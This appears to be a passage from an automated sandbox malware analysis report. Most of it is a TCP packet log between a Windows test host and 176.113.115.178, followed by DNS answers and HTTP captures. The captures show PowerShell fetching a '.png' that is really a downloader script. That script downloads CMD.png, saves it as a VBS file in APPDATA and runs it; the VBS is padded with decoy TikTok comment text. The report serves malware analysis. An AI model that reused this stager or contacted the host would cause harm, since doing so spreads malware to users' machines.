Dec 18, 2024 13:49:56.178142071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.178410053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.178673983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.179202080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.179415941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.179487944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.180197001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.180432081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.181160927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.181328058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.181333065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.181408882 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.182086945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.182343960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.182385921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.183049917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.183300018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.183432102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.184015989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.184266090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.184313059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.185081959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.185302019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.185990095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.186136007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.186259985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.187006950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.187186003 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.187200069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.187237024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.187964916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.188199043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.188334942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.189032078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.189172983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.189476013 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.189933062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.190159082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.190957069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.191037893 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.191128016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.191492081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.191891909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.192136049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.192259073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.192879915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.193098068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.193295956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.193856001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.194067001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.194134951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.194839954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.195054054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.195527077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.195807934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.196033001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.196346998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.196763039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.196985006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.197036028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.197738886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.197966099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.198745966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.198801041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.199007034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.199736118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.199837923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.199980974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.200694084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.200822115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.200938940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.201663971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.201869011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.201922894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.202195883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.202651024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.202879906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.202990055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.203665972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.203843117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.204046965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.204634905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.205112934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.205204010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.205610991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.205902100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.205986977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.206568003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.206923962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.207587004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.207596064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.207809925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.208549023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.208662987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.208743095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.209604025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.209753990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.209784985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.209841013 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.210509062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.210819960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.210865021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.211461067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.211800098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.211863041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.212431908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.212662935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.212766886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.213495970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.230592012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.354211092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.354377985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.354509115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.354912043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.355215073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.355338097 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.355720043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.356267929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.356703043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.356859922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.356904030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.357642889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.357685089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.357841969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.358011961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.358584881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.358897924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.358978987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.359554052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.359802961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.359859943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.360621929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.360862017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.360995054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.361629009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.361826897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.361896038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.362504005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.362736940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.362857103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.363511086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.363755941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.364548922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.364618063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.364748001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.365549088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.365603924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.365681887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.366430044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.366503000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.366626024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.367522001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.367580891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.367748022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.367809057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.368415117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.368608952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.368664980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.369348049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.369587898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.370359898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.370428085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.370598078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.371367931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.371422052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.371521950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.371578932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.372425079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.372575998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.372667074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.373270035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.373512983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.373596907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.374365091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.374574900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.374715090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.375226974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.375457048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.376249075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.376308918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.376492977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.377219915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.377316952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.377391100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.377479076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.378196955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.378453016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.378541946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.379173994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.379374981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.379458904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.380136013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.380350113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.381171942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.381239891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.381334066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.381473064 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.382153034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.382302999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.382406950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.383220911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.383379936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.383439064 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.384227037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.384342909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.385134935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.385200024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.385243893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.385602951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.386035919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.386290073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.386343956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.387083054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.387484074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.387543917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.388015032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.388310909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.388406992 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.388999939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.389252901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.389600039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:56.389954090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.390239954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.390907049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:56.390986919 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:57.089812040 CET	49822	80	192.168.2.6	176.113.115.178

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:49:47.624953032 CET	1.1.1.1	192.168.2.6	0xf87a	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:49:47.624953032 CET	1.1.1.1	192.168.2.6	0xf87a	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:49:47.624953032 CET	1.1.1.1	192.168.2.6	0xf87a	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

176.113.115.178

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	176.113.115.178	80	936	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:49:09.843672991 CET	73	OUT	GET /FF/3.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:11.214792967 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:10 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Dec 18, 2024 13:49:11.214809895 CET	147	IN	Data Raw: 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 Data Ascii: are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	176.113.115.178	80	404	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:49:09.844029903 CET	73	OUT	GET /FF/2.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:11.191220045 CET	421	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Thu, 21 Nov 2024 18:54:18 GMT Accept-Ranges: bytes ETag: "010f4c4463cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:10 GMT Content-Length: 197 Data Raw: 0d 0a 24 75 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 37 36 2e 31 31 33 2e 31 31 35 2e 31 37 38 2f 46 46 2f 43 4d 44 2e 70 6e 67 22 0d 0a 24 6f 75 74 70 75 74 20 3d 20 22 24 65 6e 76 3a 41 50 50 44 41 54 41 5c 43 4d 44 2e 76 62 73 22 0d 0a 24 73 74 61 72 74 5f 74 69 6d 65 20 3d 20 47 65 74 2d 44 61 74 65 0d 0a 24 77 63 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 0d 0a 24 77 63 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 24 75 72 6c 2c 20 24 6f 75 74 70 75 74 29 0d 0a 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 24 6f 75 74 70 75 74 Data Ascii: $url = "http://176.113.115.178/FF/CMD.png"$output = "$env:APPDATA\CMD.vbs"$start_time = Get-Date$wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)Start-Process $output
Dec 18, 2024 13:49:11.217369080 CET	51	OUT	GET /FF/CMD.png HTTP/1.1 Host: 176.113.115.178
Dec 18, 2024 13:49:11.657851934 CET	1236	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Thu, 21 Nov 2024 18:48:44 GMT Accept-Ranges: bytes ETag: "0cbafd453cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:10 GMT Content-Length: 28112 Data Raw: 0d 0a 27 20 20 20 20 49 20 72 65 75 70 6c 6f 61 64 20 76 69 64 65 6f 73 20 74 68 61 74 20 68 61 76 65 20 68 61 64 20 73 65 76 65 72 61 6c 20 6d 69 6c 6c 69 6f 6e 20 76 69 65 77 73 2c 20 62 75 74 20 49 20 68 61 76 65 20 74 68 65 6d 20 67 61 69 6e 69 6e 67 20 6c 65 73 73 20 74 68 61 6e 20 61 20 74 68 6f 75 73 61 6e 64 2c 20 77 68 61 74 20 61 6d 20 49 20 64 6f 69 6e 67 20 77 72 6f 6e 67 3f 20 57 68 79 20 69 73 20 74 68 69 73 20 68 61 70 70 65 6e 69 6e 67 3f 0d 0a 27 49 6d 61 67 69 6e 65 20 69 66 20 65 61 63 68 20 72 65 75 70 6c 6f 61 64 65 64 20 76 69 64 65 6f 20 67 61 69 6e 65 64 20 74 68 65 20 73 61 6d 65 20 6e 75 6d 62 65 72 20 6f 66 20 76 69 65 77 73 20 61 73 20 74 68 65 20 6f 72 69 67 69 6e 61 6c 20 61 6e 64 20 77 61 73 20 75 70 6c 6f 61 64 65 64 20 75 6e 74 69 6c 20 75 73 65 72 73 20 73 69 6d 70 6c 79 20 67 65 74 20 62 6f 72 65 64 2e 20 49 6e 20 73 75 63 68 20 61 20 63 61 73 65 20 54 69 6b 54 6f 6b 20 77 6f 75 6c 64 20 62 65 20 6f 76 65 72 66 6c 6f 77 69 6e 67 20 77 69 74 68 20 64 75 70 6c 69 63 [TRUNCATED] Data Ascii: ' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.'However, that's no
Dec 18, 2024 13:49:11.657890081 CET	224	IN	Data Raw: 74 20 61 6c 6c 20 74 68 65 72 65 20 69 73 20 74 6f 20 69 74 2e 20 54 68 65 72 65 20 69 73 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 20 6f 66 20 64 75 70 6c 69 63 61 74 65 20 64 65 74 65 63 74 69 6f 6e 20 74 68 61 74 20 66 65 77 20 70 65 6f 70 Data Ascii: t all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.'TikTok, as well as other platforms
Dec 18, 2024 13:49:11.657912016 CET	1236	IN	Data Raw: 2c 20 69 73 20 61 63 74 69 76 65 6c 79 20 66 69 67 68 74 69 6e 67 20 70 6c 61 67 69 61 72 69 73 6d 2c 20 69 6d 70 72 6f 76 69 6e 67 20 69 74 73 20 61 6c 67 6f 72 69 74 68 6d 73 20 61 6e 64 20 74 72 61 69 6e 69 6e 67 20 41 49 20 74 6f 20 70 72 65 Data Ascii: , is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI
